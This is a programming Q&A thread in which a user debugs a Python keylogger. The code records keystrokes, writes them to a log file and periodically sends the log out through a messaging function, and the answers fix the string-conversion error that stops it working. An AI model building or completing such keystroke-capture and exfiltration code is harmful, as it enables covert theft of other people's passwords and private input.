TypeError: write() argument must be str, not list
Asked Answered
D

3

27

def file_input(recorded):

now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()

if name == "main":

while 1:

    status = time.localtime()
    result = []
    keyboard.press_and_release('space')
    recorded = keyboard.record(until='enter')
    file_input(recorded)
    if (status.tm_min == 30):
        f = open("LOG.txt", 'r')
        file_content = f.read()
        f.close()
        send_simple_message(file_content)

im trying to write a keylogger in python and i faced type error like that how can i solve this problem?

i just put in recorded variable into write() and it makes type error and recorded variable type is list. so i tried use join func but it doesn't worked

Despondent answered 4/1, 2017 at 1:36 Comment(0)
D
44

You're trying to write to a file using w.write() but it only takes a string as an argument. now_time is a 'datetime' type and not a string. if you don't need to format the date, you can just do this instead:

w.write(str(nowtime))

Same thing with

w.write(recorded)

recorded is a list of events, you need to use it to construct a string before trying to write that string into the file. For example:

recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))

Then, inside file_input() function, you can:

w.write(typedstr)
Doublepark answered 4/1, 2017 at 2:19 Comment(0)
A
6

By changing to w.write(str(recorded)) my problem was solved.

Ailsun answered 4/4, 2019 at 17:16 Comment(0)
B
0

In some cases when there will still be encoding issues while writing as a string to a text file, _content function can be useful.

w.write(str(recorded._content))
Blacksmith answered 6/1, 2021 at 21:41 Comment(0)

© 2022 - 2024 — McMap. All rights reserved.